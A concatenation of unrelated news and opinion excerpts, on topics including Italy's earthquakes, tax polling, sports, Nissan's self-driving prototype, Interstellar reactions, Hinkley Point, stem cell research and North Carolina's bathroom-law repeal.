It's not clear why two large quakes have occurred this month, said Jessica Turner, a geophysicist with the U.S. Geological Survey in Golden, Colo. The basic driver of the activity is the same kind of geological shifting that produced the Alps, she said.
Prior to May 20, the last earthquake in the region with magnitude that large was in 1501.
Residents had just been taking tentative steps toward resuming normal life when the second quake struck. In Sant'Agostino, a daycare center had just reopened. In the town of Concordia, the mayor had scheduled a town meeting Tuesday evening to discuss the aftermath of the first quake. Instead, Mayor Carlo Marchini confirmed the death of one person struck by falling debris in the town's historic center.
Italy's soccer match against Luxembourg, a warm-up for the Euro 2012 championships, was canceled. The game had been scheduled to be played Tuesday in Parma, just 60 kilometers (40 miles) west of the quake.Looking for news you can trust?
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Suzy Khimm directs our attention today to the latest Gallup Poll about the rich and their taxes. Do they pay too much? Too little? The long-term trend is a pretty spectacular tribute to the power of repetition. After Bill Clinton raised taxes modestly on high earners in 1993, there was a big drop in the number of people who thought the rich paid too little in taxes. That makes sense. But take a look at the next two decades. Capital gains rates on the wealthy were cut in 1997 and the number went down again. In 2001 Bush slashed their taxes and the number went down again. Bush slashed their taxes a second time and the number went down — again. The incomes of the rich skyrocketed during the aughts and the number went down yet more. By 2010, after two decades of skyrocketing incomes and ever-falling taxes, the number of people who think the rich don’t pay enough in taxes has dropped by over 20 points!
That’s the power of the Republican message machine, and it’s pretty impressive. In the latest poll, the number finally went up a bit, and I imagine that shows the power of a countermessage. A combination of the continued recession, a louder and more unified Democratic Party, and the Occupy movement were probably responsible for the blip back up. Fighting back can make a difference after all.New Zealand’s world No. 50 Campbell Grayson claimed the Life Time Fitness Vegas Open title for a second time on Sunday afternoon, after a stellar run through the Challenger 10 U.S. Pro Series tournament hosted in Summerlin, NV.
The defending champion Grayson—who lives in New York City and won the U.S. Pro Series last year—dominated in a string of 3-0 matches in all four of his encounters over the course of the tournament. Grayson met the world No. 88 and Englishman Tom Ford in the finals—and dropped just twelve points in the three games it took to secure the win.
World No. 57 Chris Gordon, the lone remaining American, made it to the semifinals, but fell short to Grayson in straight games, 11-6, 11-7, 11-9; this marked Grayson’s sixth win over Gordon in their seven meetings.
Grayson revealed his second Las Vegas Open title was an emotional one on his facebook page.
“Feeling emotional after defending my Las Vegas Open title!! I would like to dedicate this win to Philip Constable who sadly passed away recently after a 14 year battle with prostate cancer. I clearly remember you telling me how proud you were when I won this tournament last year. You were a great guy who attacked everything you did in life, like my brother has mentioned, your memory will be a part of every good thing we do. R.I.P. My friend. #inspirational #keepfighting #attacklife”
For more information, visit the official Life Time Fitness Vegas Open tournament page.Nissan Tests Fully Autonomous Prototype Technology On Streets Of Tokyo
TOKYO - October 26, 2017: Nissan today demonstrated a prototype of its most advanced autonomous driving technology, planned for real-world use from 2020, on public roads in Tokyo. The next-generation ProPILOT technology test was conducted on a modified INFINITI Q50 sports sedan. The technology enables the vehicle to operate autonomously on urban roads and freeways, beginning when the driver selects a destination using the navigation system, until arrival.
The prototype’s artificial intelligence uses input from 12 sonars, 12 cameras, nine millimeter-wave radars, six laser scanners and a high-definition map to analyze complex scenarios in real time and navigate smoothly through challenging city conditions – such as crossing busy intersections. These hardware upgrades, along with software improvements, also ensure smooth transitions when encountering obstacles in the road. This results in a human-like driving feel that gives passengers peace of mind.
“Ingenuity is at the heart of everything we do at Nissan,” said Takao Asami, Nissan’s senior vice president in charge of research and advanced engineering. “Our next-generation ProPILOT prototype showcases technology that will be available for real-world use from 2020. Today’s demonstration is another example of our successful work toward creating an autonomous driving future for all.”
The demonstration follows the recent launch of the new, zero-emission Nissan LEAF, equipped with ProPILOT technology that enables single-lane autonomous driving on highways. Nissan’s growing lineup of models with ProPILOT also includes the Nissan Serena, X-Trail and Rogue and will be joined by the Qashqai in 2018.Travis d’Arnaud’s return date from a rotator cuff strain remains unclear as the catcher continues rehabbing at home in California with a personal physical therapist/trainer, but his agent, Joel Wolfe, told The Post that he anticipates the 27-year-old will be back working with the team in the next few weeks.
A definitive plan hasn’t yet been set for where d’Arnaud will go next, but he would either go to New York, Triple-A Las Vegas or Port St. Lucie once he can resume baseball-related activities.
“I know it was envisioned he would only be here for a short stint, more in like the couple-weeks range, and if all goes we’ll just get him going and get him back out there soon,” Wolfe said. “He’s doing well. It’s just aggressive strengthening, range of motion because Travis really wants to get back out there and hit the ground running.”
D’Arnaud, on the disabled list since April 26, has rehabbed away from the team in-season in the past with the same trainer, and the Mets cleared his decision to do it at home.
“The Mets have a terrific training staff, but the issue is during the season their No. 1 priority is getting the active-roster guys ready to play every day, plus the team’s going on the road constantly,” Wolfe said. “Everybody just wanted Travis to have a little more consistent program every day given the spot he was in. Everybody thought it might be good, just for a short stint, to do a certain level of exercises and strengthening and [physical therapy] and then he’ll be cut loose shortly back to the Mets program.”
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The Mets’ 7-1 lopsided loss to the Nationals could have been
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Greene, Bryce Salvador, and Anton Volchenkov eventually needing to be replaced. The Devils would be smart to continue to develop Larsson, as he is still young and has talent, as he can become an internal replacement for these players and help New Jersey build a strong, young, blueline group again.
Martin St. Louis, RW, Tampa Bay Lightning
2013-14 Stats: 58 GP, 25 G, 31 A, 56 PTS,
Contract Situation: $5.25 million cap hit, UFA after the 2014-15 season, 38-years-old
St. Louis name has recently surfaced in rumours and has been connected to the New York Rangers. The reason is that there are some rumours that St. Louis was upset with being snubbed by Lightning/Team Canada GM Steve Yzerman and asked to be traded shortly after the announcement of Canada’s Olympic Team on January 7th. Even if St. Louis did request a trade, we must remember that his situation has changed greatly in the nearly two months between that date and the deadline. First, St. Louis went on a scoring tear. Then teammate Steven Stamkos had to pull out of the Olympics due to the fact that his leg injury was not fully healed, and St. Louis was promptly named as his replacement. Lastly, St. Louis returned from Sochi with an Olympic Gold Medal. Any wounds that may have existed between the Tampa general manager, and the team captain, are likely to have healed at this point.
Cam Ward, G, Carolina Hurricanes
2013-14 Stats: 6-8-5, 3.14 GAA,.893 SV%
Contract Situation: $6.3 million cap hit, UFA after the 2015-16 season, 29-years-old
It seems that Anton Khudobin has taken over the role of number one goalie in Carolina this year, leading to speculation that Cam Ward is on the block. However there are two big problems here. Firstly, Khudobin will be an unrestricted free agent at the end of the season, can the Hurricanes trade Ward, and also risk him walking away from the team? Such a trade, prior to Khudobin signing an extension, would put a lot of power in the hands of Khudobin and his agent who will know that Carolina are now forced to sign him or look elsewhere for a number one goalie. Secondly, the goalie market is so soft right now, I don’t know that the Hurricanes can get good value for Ward. Most contending teams aren’t really looking for a new number one goalie, and given the fact that Ward has had injury issues and declining stats in the last two years, I’m not sure he’s worth his contract. There will be other options available such as Ryan Miller and Jaroslav Halak this summer. We saw how hard it was for the Canucks to deal a goalie last year, I don’t know that things are any better for a team with Ward, who really is overpaid to be a backup, and would be the third best starter on the market.
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Interested in writing for LWOS? We are looking for enthusiastic, talented writers to join our Hockey writing team. Visit our “Write for Us” page for very easy details in how you can get started today!Yes, Jose Abreu is putting up slugger stats that should make any upcoming opponent nervous, but it just so happens that there’s more to love about Abreu than numbers and power alone.
So let’s take a look at what makes Abreu so great, impressive stats aside:
His game demeanor is polite and polished. At the beginning of the season, I overheard a pair of Cleveland fans say, “Oh man, this guy’s from Cuba? He’s gonna be a feisty sparkplug.” I’d love to hear their base of that assumption (maybe Yasiel Puig, who knows), but I remember that conversation every time I watch Abreu go up to bat. Clean and controlled. So intently focused on the game and nothing else. When it doesn’t go his way, there’s no bat-throwing, no grossly negative body language. Even in heated situations, you’ll see how level-headed he remains. Having that kind of maturity as a rookie is pretty incredible, even if he’s 27.
But off the field, he’s just as great. I’ve discussed this with other writers and bloggers—Jose Abreu is just one nice guy. Never too eager, but always ready—with the help of a translator—to discuss a game or how excited he is to be in Chicago (even though the weather is driving him crazy).
(Jonathan Daniel/ Getty Images)
The Southside Cubans are the coolest posse in the Major Leagues. Okay so that’s not their official name or anything, but watching Abreu bro-out with Dayan Viciedo and Alexei Ramirez has been fun. You can definitely tell there’s a level of comfort there that Abreu wouldn’t be able to find on many other Major League teams. That’s a pretty loaded trio: Alexei Ramirez, Dayan Viciedo, and Jose Abreu… And of course, don’t forget their head honcho—Minnie Minoso!
He loves his mom. How can you not love a guy who loves his mom? At a SoxFest panel back in January, he told fans the first thing he thought of when he saw his name on the jumbotron for the first time was how thankful he was for his mom.
He broke an Albert Pujols April rookie record. There you go Cubs fans, something to be happy about (okay that’s not entirely “stats aside”, but how can you not mention that?).
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I’ve read the various articles the past three days, all of them spouting “Is Abreu the real deal?” or similar variations. Sure, it’s only the first month in a long season and speculations will fly all the way to the All-Star Break—but as a White Sox fan, I’m just happy that we’re not only acquiring first-class ball players, but also first-class people.Given the potential safety and privacy concerns surrounding Google Glass, Google has put some very tight restrictions on what kinds of applications developers can build for the headset. Or has it? Technology Review reports that Google will hold a session at its Google I/O conference this week dedicated specifically to giving developers root access to Glass and teaching them how to create experimental applications. Developers who hack into Glass will render their warranties null and void, of course, but Google still wants them to take that risk and test the limits of what Glass can do. Technology Review says that such hacks into Glass may be crucial to shaping the platform since Google still hasn’t finalized what features the headset will have when it’s released to consumers next year.Another week, another announcement of a weird variety of Pepsi being released in Japan. This time it claims to keep your body from absorbing fat.
Kotaku reports that on November 13, Japanese Pepsi distributor Suntory will release a new kind of Pepsi cola called Pepsi Special, which includes the fiber molecule known as "dextrin," which some say helps prevent the digestive system from absorbing fat. Bottles of the soda will sell for 150 yen, about $1.87, across the country.
Pepsi Special will the newest entrant in a rapidly-growing in the Japanese soft drink market. The first and best known of the Dextrin-including colas is Kirin Mets Cola, which has surpassed sales expectations since being introduced in April.
The Japanese government certifies these colas as "food for specific health use," partially on the basis of a 2006 study by Junichi Nagata and Morio Saito of Japan's National Institute of Health and Nutrition that indicated that rats fed dextrin and fat at the same time absorbed less of the fat than those that ate fat without dextrin.Two weeks from Tuesday, theaters with film projectors start screening Christopher Nolan‘s Interstellar. That means a few things. One, you better get your tickets. And two, it’s time to begin managing expectations and avoiding spoilers. Over the past few days, the film has begun screening for general audiences, celebrity audiences and press alike. Attendees are usually embargoed from going on social media about early screenings but that very rarely stops people. And if the reactions are positive, studios usually don’t care.
As expected some of those early Interstellar reaction tweets are positive. Very positive. Plus, they suggest while Nolan continues to compare his film to 2001: A Space Odyssey, he’s made something that has wider appeal than Kubrick’s polarizing masterpiece. Below, read about some early Twitter buzz about Interstellar.
UPDATE: We’ve added the reactions of some of Hollywood’s most well respected filmmakers and fans such as Rian Johnson, Patton Oswalt and more.
First up, here are some random Interstellar reaction tweets:
. @Interstellar is pretty awesome and fun. Especially on IMAX. — Ev Williams (@ev) October 21, 2014
We saw #Interstellar in 70mm IMAX tonight. Compounded the resonance with 2001 in fascinating ways. And the blacks and whites – mmmm! — Noah Cowan (@noah_sffilm) October 21, 2014
#Interstellar is extraordinary – an angry, Heinlein-influenced rebuttal to Clarke and Kubrick's 2001 & a poem to light and gravity… — Noah Cowan (@noah_sffilm) October 21, 2014
#Interstellar – a fantastically powerful movie. Well worth seeing. pic.twitter.com/13rgVWCZuG — Juliet de Baubigny (@JulietdeB1) October 21, 2014
Chris Nolan did it Again!!! INTERSTELLAR GREATEST MOVIE OF ALL TIME — Taco (@TripleCthaMost) October 18, 2014
So Interstellar was probably the best movie I've ever seen. — Cataraptor. (@chocobugcat) October 18, 2014
Seeing #mathewmcconaughey and #Interstellar made today so incredible! What an awesome man in a fantastic movie. See it November 7th!!! — Kelli. (@catlady_kelli) October 18, 2014
But we don’t know those people. How about a reaction from some people we do know?
Am I allowed to say that 'Interstellar' is incredible yet? — edgarwright (@edgarwright) October 13, 2014
Dazzled by the ambition & intelligence of Chris Nolan's INTERSTELLAR. Terrific performances, haunting imagery, WOW. See it in 70MM IMAX. — Brad Bird (@BradBirdA113) October 21, 2014
And an UPDATE. Here are some more reactions out of a recent LA screening:
#Interstellar is truly incredible. A thought provoking, challenging gut punch of a film. Wow. — Josh Gad (@joshgad) October 23, 2014
Saw 'Interstellar' for a second time projected on IMAX film. Truly an magnificent film. Emotional, visually stunning. See it large and loud. — edgarwright (@edgarwright) October 23, 2014
I saw INTERSTELLAR last night & I'm just now taking it all in. Holy moley. Amazing. — Patton Oswalt (@pattonoswalt) October 23, 2014
Interstellar is bold & ballsy. Huge ideas done in a concrete grounded way, and some of the finest space travel spectacle this side of 2001. — Rian Johnson (@rianjohnson) October 23, 2014
Plus if you're a space nut like me there's an IMAX sequence of the ship passing Saturn that'll make you pee. (Hey that rhymed) — Rian Johnson (@rianjohnson) October 23, 2014
https://twitter.com/EmileHirsch/status/525312622913003520
That’s cool, right? Here’s another pieces of evidence. According to Page Six, the head of Paramount Brad Grey held a private screening of Interstellar Sunday evening in New York City. Among the attendee were directors Ang Lee and Steve McQueen, actors Jake Gyllenhaal, Chris Rock, Kevin Bacon and Kyra Sedgwick and the awesome Dr. Neil deGrasse Tyson. It doesn’t look like any of them have tweeted about it yet, but just screening the movie like that at all is a pretty big stamp of approval. They don’t do that for everything.
Interstellar is opening in multiple formats. There’s 70mm IMAX, 70mm film, 35mm film, IMAX, 4k digital and regular digital. As previous mentioned, the 70mm IMAX screenings, 70mm and 35mm film screenings will all open November 5, which really means 8 p.m. November 4. Everywhere else opens November 7.Scientists tell MPs government is using expensive power project to cross-subsidise military by maintaining nuclear skills
The government is using the “extremely expensive” Hinkley Point C nuclear power station to cross-subsidise Britain’s nuclear weapon arsenal, according to senior scientists.
In evidence submitted to the influential public accounts committee (PAC), which is currently investigating the nuclear plant deal, scientists from Sussex University state that the costs of the Trident programme could be “unsupportable” without “an effective subsidy from electricity consumers to military nuclear infrastructure”.
Draughty homes targeted in UK climate change masterplan Read more
Prof Andy Stirling and Dr Phil Johnstone from the Science Policy Research Unit at the university write that the £19.6bn Hinkley Point project will “maintain a large-scale national base of nuclear-specific skills” without which there is concern “that the costs of UK nuclear submarine capabilities could be insupportable.”
Their evidence suggests that changes in the government’s policy on nuclear power in recent years will effectively allow Britain’s military nuclear industry to be supported by payments from electricity consumers.
Last June, MPs passed a motion in favour of replacing four submarines carrying Trident missiles at a cost of £40bn.
“What our research suggests is that British low-carbon energy strategies are more expensive than they need to be, in order to maintain UK military nuclear infrastructures,” said Stirling.
“And without assuming the continuation of an extremely expensive UK civil nuclear industry, it is likely that the costs of Trident would be significantly greater.”
The Hinkley Point project has been criticised for its huge cost. The French electricity company EDF is currently in the early stages of constructing the plant near Bridgwater, Somerset, in partnership with the China General Nuclear Power Group.
The government has agreed a minimum price of £92.50 per megawatt hour (MWh) for electricity produced by Hinkley Point, the first new-build nuclear power plant in the UK since 1995. Under this agreement, if the usual wholesale price is lower, the consumer pays the difference in price. The current wholesale electricity price is around £42 per MWh, so the electricity consumer would pay EDF an extra £50 per MWh.
Last month, the government agreed a “strike price” of £57.50 per MWh for offshore windfarms off Scotland and Yorkshire, far below the Hinkley guaranteed price.
This week, the Green MP Caroline Lucas asked the government about the Ministry of Defence and the business department discussing the “relevance of UK civil nuclear industry skills and supply chains to the maintaining of UK nuclear submarine and wider nuclear weapons capabilities”.
Harriett Baldwin, the defence procurement minister, answered that “it is fully understood that civil and defence sectors must work together to make sure resource is prioritised appropriately for the protection and prosperity of the United Kingdom”.
Johnstone said the decision-making process behind Hinkley raised questions about transparency and accountability, saying: “In this ever more networked world, both civil and military nuclear technologies are increasingly recognised as obsolete. Yet it seems UK policymaking is quietly trying to further entrench the two – in ways that have been escaping democratic accountability.”
At a hearing held by the PAC in parliament on Monday, senior civil servants defended the Hinkley deal after a National Audit Office report concluded that it was “risky and expensive”.
The officials admitted that the economic case had become “more marginal” in recent years, as the costs of alternative technologies had fallen.
When she became prime minister last year, Theresa May asked for a review of the project.
When asked why the strike price had not been renegotiated at that point, Stephen Lovegrove, the former permanent secretary at the now-disbanded Department of Energy and Climate Change, told MPs that the deal would have fallen through if the government tried to reduce payments to EDF. “Candidly, the idea the deal would not have collapsed if we had sought to renegotiate it is fanciful, actually.”
May allowed Hinkley Point to proceed after the three-month review.
The civil servants said the costs were higher because the companies agreed to carry the risk for the project, as required by ministers. “This deal is a very good one within the policy constraints of the time,” said Lovegrove.
At the PAC hearing, the Labour MP Meg Hillier asked whether “Hinkley is a great opportunity to maintain our nuclear skills base”.
Lovegrove answered: “We are completing the build of the nuclear submarines which carry conventional weaponry. So somehow there is very definitely an opportunity here for the nation to grasp in terms of building up its nuclear skills. I don’t think that’s going to happen by accident. It is going to require concerted government action to make that happen.”A Minneapolis business group is urging city officials to slow down the timeline for the introduction -- and possible approval -- of a citywide sick-leave ordinance.
The Southwest Business Association, an organization that covers businesses located south of 36th Street on the western side of the city, outlined its concerns in a letter to Mayor Betsy Hodges and members of the City Council. The group's president, Matt Perry, said December and January are difficult times for both business owners and city officials to communicate about policy proposals, making the city's planned February deadline for a recommendation a problem.
The Workplace Regulations Partnership, a 19-member group of workers, employers and representatives from business and labor groups began meeting in December and has been directed to provide a recommendation on citywide sick leave to the City Council by the end of February. The issue was initially raised last fall as part of Hodges' Working Families Agenda, which also included a proposal on workplace scheduling. Hodges and other advocates have said sick-leave policies will help low-income workers and help reduce racial disparities across the city.
In his letter, Perry says the ongoing discussions about sick leave will have significant implications on businesses but is concerned about a "lack of publicly available information" from the city and the group studying the issue.
"What is clear to us from the input we've heard is that the time frame for the work of this committee is grossly inadequate," he wrote.
The city updated its website on Dec. 31 to add a schedule of six "listening sessions" the work group will hold with businesses and workers in January. It also lists the names of the group's members and minutes and documents from its first two meetings.
The Workplace Regulations Partnerships' meetings are public. In the group's Dec. 11 meeting, some members noted that the city's timeline may have to be adjusted if weather conditions or other obstacles result in postponed meetings or slowed progress.Researchers from the Vavilov Institute of General Genetics, Research Institute of Physical Chemical Medicine and Moscow Institute of Physics and Technology (MIPT) have concluded that reprogramming does not create differences between reprogrammed and embryonic stem cells. The results have been published in the journal Cell Cycle.
Stem cells are specialized undifferentiated cells that can divide and have the remarkable potential to develop into many different cell types in the body during early life and growth. In addition, they serve as a sort of internal repair system in many tissues, dividing essentially without limit to replenish other cells. When a stem cell divides, each new cell has the potential either to remain a stem cell or become another type of cell with a more specialized function, such as a muscle cell, a red blood cell, or a brain cell (Fig 1). Scientists distinguish several types of stem cells. Stem cells that can potentially produce any cell in the body are called pluripotent stem cells. There are no pluripotent stem cells in an adult body; they are found naturally in early embryos.
Fig.1 iPS cells features. Source: MIPT
There are two ways to get pluripotent stem cells. The first is to extract them from the excess embryos produced during the in vitro fertilization procedure. But this practice is still controversial technically and ethically because it does destroy an embryo which could have been implanted. This is why researchers came up with the second way to get pluripotent stem cells – reprogramming adult cells.
The process of “turning on” genes that are active in a stem cell and “turning off” genes that are responsible for cell specialization is called reprogramming. This technology was pioneered by Shinya Yamanaka, who showed that the introduction of four specific proteins that are essential during early embryonic development could be used to convert adult cells into pluripotent cells. He was awarded the 2012 Nobel Prize along with Sir John Gurdon "for the discovery that mature cells can be reprogrammed to become pluripotent."(Fig.2).
Fig.2 Production of iPS cells. Source: MIPT
Thanks to their unique regenerative abilities, stem cells offer a new potential for treating any disease. For example, there have been cases of transplanting retinal pigment epithelium and spine cells from stem cells. Another experiment showed that stem cells were able to regenerate teeth in mice. Reprogramming holds great potential for new medical applications, because reprogrammed pluripotent stem cells (or induced pluripotent stem cells) can be made from a patient’s own cells and embryos will not be needed.
However, the extent of the similarity between induced pluripotent stem cells and the “gold standard” of pluripotency, human embryonic stem cells, is still unclear. Recent studies highlighted significant differences between these two types of stem cells, although only a limited number of cell lines of different origins were analyzed.
Researchers compared induced pluripotent stem cells lines reprogrammed from different adult cell types that have been previously differentiated from embryonic stem cells. All these cells were isogenic, which means they all had the same gene set.
Transcription is the first step of gene expression, in which a particular segment of DNA is copied into RNA. Methylation is a chemical reaction – the addition of a methyl group (CH3) to a molecule. Epithelial tissue is a sheet of cells that covers a body surface or lines a body cavity. DNA stores the instructions for protein synthesis.
Scientists analyzed the transcriptome – the set of all products encoded, synthesized and used in a cell. Moreover, they elicited methylated DNA areas, because methylation plays a critical role in cell specialization. Thorough study of changes in the gene activity regulation mechanism showed that reprogrammed and embryonic stem cells are similar. In addition, researchers came up with a list of the activity of 275 key genes that can present reprogramming results.
Researchers analyzed three types of adult cells – fibroblasts, retinal pigment epithelium and neural cells. All of them consist of the same gene set, but a chemical modification (e.g. methylation) combined with other changes determines which part of DNA will be used for product synthesis.
The type of adult cells which were reprogrammed and the process of reprogramming itself did not leave any marks, concluded scientists. Differences between cells that did occur were thought to be the impact of random factors. “We defined the best induced pluripotent stem cells line concept. The minimum number of iPSC clones that would be enough for at least one to be similar to “gold standard” with 95% confidence is five.” - says Dmitry Ischenko, MIPT PhD and Institute of Physical Chemical Medicine researcher.
A clone is a group of identical cells that are derived from the same cell. If there was one embryonic stem cell, and it differentiated into five distinct specialized cells, and then these specialized cells were reprogrammed into five distinct induced stem cell sets – then at least one of these lines would be similar to an embryonic cell with 95% confidence.
Clearly, no one is going to convert embryonic stem cells into neurons and reprogram them into induced stem cells – that would be too time-consuming and expensive. This experiment simulated the reprogramming of a patient’s adult cells into induced pluripotent stem cells for further medical use. Even though this paper does not propose a method of organ growth in vitro for now, it is an important step in the right direction. Both induced pluripotent cells and embryonic stem cells can help us understand how specialized cells develop from pluripotent cells. In the future, they might also provide an unlimited supply of replacement cells and tissues for many patients with diseases that are currently untreatable.Researchers think they've found the oldest Buddhist shrine in the world at Nepla's Lumbini pilgrimage center, dating back to 550 B.C — a revelation that could push the accepted birthdate of the Buddha back by a century.
Lumbini is widely considered to be the birthplace of the Buddha, and researchers discovered compelling early archaeological evidence of the international religion's origins as they dug underneath the existing structure — which is still very much in use, and visited by hundreds of thousands of devotees every year.
More from GlobalPost: Uniting "American Buddhism" with global citizenship
Published in the Antiquity academic journal, the researchers describe their discovery of a timber shrine underneath the existing Maya Devi Temple at Lumbini, which appeared to have a tree growing from an open area.
"This is one of those rare occasions when belief, tradition, archaeology and science actually come together," said archaeologist and leady study author Robin Coningham to CNN of the find, noting that the scientific evidence indicates the real life Buddha might have lived from 563-483 B.C., which are the popularly recognized dates.
Legend has it that the Buddha was born under a tree, where his mother Queen Maya Devi had stopped as she to her father's kingdom.
Lumbini is considered one of Buddhism's four most holy places, per BuddhaNet, and was neglected for centuries until 1895, when a German archaeologist rediscovered the site. The current Maya Devi temple was built over the ancient ruins.
Researchers were given special access to the sacred site, and made sure to make clear their intentions.
"We had almost unique access to the site that probably won't come again for another generation," said Coningham to National Geographic. "For that reason, we made our work completely open and transparent to pilgrims. Their experiences were quite moving to see as we did our work."In the face of economic pressure, North Carolina lawmakers voted March 30 to repeal and replace the state's controversial bathroom law. Here's what you need to know. (Monica Akhtar/The Washington Post)
Former North Carolina governor Pat McCrory, who signed the state’s so-called “bathroom bill” into law last year, found little common ground with LGBT rights groups during the protracted fight over the legislation. But both sides now agree about the compromise struck over the law this week: It was not a full repeal.
Lawmakers in North Carolina on Thursday scrapped the costly and controversial bathroom measure and replaced it with a law that, among other things, banned local governments from passing their own measures to protect LGBT people. While Gov. Roy Cooper (D) acknowledged the compromise was “not a perfect deal or my preferred solution,” he defended it as a positive step forward and signed it into law despite opposition from LGBT groups.
His Republican predecessor, though, said that the LGBT groups “lost the battle” and agreed with them that the measure did not eradicate the law known as House Bill 2, or H.B. 2. While that law was largely known for its provisions governing which bathrooms transgender people could use, it also included language reversing local ordinances that expanded protections for LGBT people.
[North Carolina governor signs bill repealing and replacing transgender bathroom law amid criticism]
The law prompted economic boycotts and spurred companies such as Deutsche Bank and PayPal to call off planned expansions into North Carolina, entertainers such as Bruce Springsteen to reschedule concerts and sports leagues to relocate games. The potential impact was sizable: According to an Associated Press analysis released before the new law was signed, H.B. 2 could have cost North Carolina at least $3.7 billion over a 12-year period.
After signing the bill, Cooper vowed that sports would return to North Carolina, but it remains unknown whether the bill he signed will indeed prompt businesses and organizations like the NCAA, which withdrew some events to protest the law, to return to the state.
The compromise bill was announced just hours before a deadline imposed by the NCAA, which had already removed some scheduled games from the state and was threatening to withhold years’ worth of other events if the law were not changed. The NCAA said in response to the compromise that it would review the new law and decide next week whether to return events to North Carolina. The Atlantic Coast Conference, which had moved games from the state, said Friday it would again consider North Carolina to host future events due to the new law.
Cooper said Thursday that “in a perfect world,” lawmakers would have fully repealed H.B. 2 and given LGBT residents full protections; he blamed the Republican-dominated legislature for not allowing such an agreement. In addition to a three-year ban on local nondiscrimination ordinances, the new law says only state lawmakers — and not local school boards or government agencies — can regulate “multiple occupancy bathrooms, showers or changing facilities.” House Speaker Tim Moore (R), in a statement after the bill passed the legislature, praised the agreement and said it “strengthens privacy protections statewide by providing a complete preemption of local governments regulating bathrooms, changing rooms and showers so that women and children are protected across the state.”
[As North Carolina repeals its ‘bathroom bill,’ other states consider their own]
The measure quickly drew intense criticism from the same groups that long sought to repeal H.B. 2. The Human Rights Campaign, in an email after the compromise was passed, said Cooper and lawmakers chose to “sell out” the LGBT community.
“After more than a year of inaction, Gov. Cooper and North Carolina lawmakers doubled-down on discrimination,” Chad Griffin, president of the HRC, said in a statement. “This new law does not repeal H.B. 2. Instead, it institutes a statewide prohibition on equality by banning non-discrimination protections across North Carolina and fuels the flames of anti-transgender hate. Gov. Cooper and each and every lawmaker who supported this bill has betrayed the LGBTQ community.”
Griffin signed a statement calling on the NCAA to oppose the new law, which was also assailed by other groups and prominent voices. Equality NC’s executive director said lawmakers “enshrined discrimination into North Carolina law,” while the American Civil Liberties Union of North Carolina said lawmakers “should be ashamed” of the measure. The Charlotte Observer’s editorial board said the new bill “does not do one thing to protect the LGBT community and locks in H.B. 2’s most basic and offensive provision,” while the New York Times editorial board weighed in by calling Cooper’s decision to sign the law “mystifying.”
[Why North Carolina abruptly flip-flopped on its ‘bathroom bill’]
McCrory had endorsed the compromise bill late Wednesday when the state’s top Republican lawmakers and Cooper announced that they had reached a deal. In an interview Thursday after the bill was passed, McCrory both agreed with and mocked the groups that had assailed him last year.
“The fact of the matter is, they did not get a full repeal of H.B. 2,” McCrory said during an interview Thursday with Tony Perkins, president of the conservative Family Research Council. The interview was first reported by the Charlotte Observer.
“They do not have the power at the local level to change the definition of gender, which is really what it comes down to, are we going to change the definition of gender or not?” McCrory said. “And that shouldn’t be a decision made by a mayor or a governor or the NCAA. That’s not their right to make that decision. This is going to end up going to the Supreme Court.”
Former North Carolina governor Pat McCrory. (Gerry Broome/AP)
McCrory had forcefully defended the bill after signing it, even as the legislation came to define North Carolina in the public eye and cost the state jobs and tourism revenue. He also continued to argue for the law after Cooper ousted him from office last year following a campaign in which the bathroom bill played a major role, a fact McCrory acknowledged during his interview with Perkins.
Cooper “got elected on this issue, many say, and raised millions of dollars on this issue,” McCrory said. But, noting that the groups opposing H.B. 2 were also opposing the new law signed by Cooper, he added: “The same protesters that protested me are now protesting the current governor.”
In response, a spokeswoman for Cooper rejected McCrory’s commentary on the issue and argued that the governor would continue to work toward strengthening protections for North Carolina’s LGBT communities.
“Pat McCrory doesn’t have any credibility on the issue as the person who signed the law that got North Carolina into this mess,” Sadie Weiner, a spokeswoman for Cooper, said in a statement. “Governor Cooper signed the new law that repealed H.B. 2 saying it is a step forward but not the only step. He supports statewide protections for LGBT North Carolinians and will keep working for them.”
Cooper’s office also provided a fact sheet noting that in addition to revoking the bathroom provisions, the new law allows local governments to set wages and nondiscrimination policies for employees as well as city contractors. The fact sheet also noted that the prohibition on local nondiscrimination ordinances is temporary and is set to expire in December 2020, a month after North Carolina’s next gubernatorial election.
Since leaving office, McCrory had said that he was unable to find work due to H.B. 2, saying in a podcast interview, “People are reluctant to hire me, because, ‘Oh my God, he’s a bigot’ — which is the last thing I am.” He told the Raleigh News & Observer earlier this month that he had been working as a consultant and taken advisory board positions.
Further reading:
NCAA will review North Carolina’s rollback of bathroom law, decide next week on future events
North Carolina lawmakers previously debated repealing the law, but that fell through
‘Not about bathrooms’: Critics decry North Carolina law’s lesser-known elements
‘People were tired’: How North Carolina’s last-minute deal to repeal the bathroom bill came togetherDEAD SEA, Jordan (Reuters) - Secretary of State John Kerry sketched out a plan on Sunday to spur Palestinian growth with up to $4 billion in private investment, but did not say where the money would come from.
Secretary of State John Kerry gestures during the World Economic Forum on the Middle East and North Africa at the King Hussein Convention Centre, at the Dead Sea May 26, 2013. REUTERS/Muhammad Hamed
Kerry drew a picture of prosperity in the West Bank that could spread to Israel and Jordan, while acknowledging it would not fully materialize without movement toward peace between Israel and the Palestinians.
Despite deep skepticism in the region, Kerry is trying to revive negotiations after a gap of more than two years and has said both sides must decide soon whether they are ready to make compromises for peace.
While stressing his vision of an economic renaissance was not a substitute for negotiations, the U.S. diplomat appeared to hold out the prospect of rising growth, wages and employment as a way to build trust and provide an incentive to make peace.
“Is this a fantasy? I don’t think so, because there are already great examples of investment and entrepreneurship that are working in the West Bank,” he said at a World Economic Forum on the Middle East and North Africa session with Palestinian President Mahmoud Abbas and Israeli President Shimon Peres.
But Kerry did not identify specific companies with plans to set up shop in the West Bank or how he hoped to remove obstacles to Palestinian commerce.
“DIPLOMATIC QUICKSAND”
Kerry said a group working under former British Prime Minister Tony Blair is seeking to identify opportunities in tourism, construction, energy, agriculture and high-tech industries in the Palestinian territories, Kerry said.
Their preliminary studies suggest that Palestinian gross national product could rise by as much as 50 percent over three years, with unemployment falling by nearly two thirds to eight percent and wages rising up to 40 percent.
On April 9, Kerry had said he would unveil the initiative in mid-April, saying he, Israeli Prime Minister Benjamin Netanyahu and Abbas had agreed to undertake “new efforts, very specific efforts” to promote economic development and to remove “bottlenecks and barriers” to commerce in the West Bank.
The U.S. secretary of state did not provide details on easing such obstacles. Among the main impediments are Israeli restrictions on the movement and access of Palestinians as they seek to travel among their communities on the West Bank, according to a September 2012 United Nations report.
Among the main issues to be solved to end the conflict are borders, the fate of Palestinian refugees, the future of Jewish settlements on the West Bank and the status of Jerusalem.
Kerry acknowledged the deep doubts among Palestinians and Israelis that peace is possible.
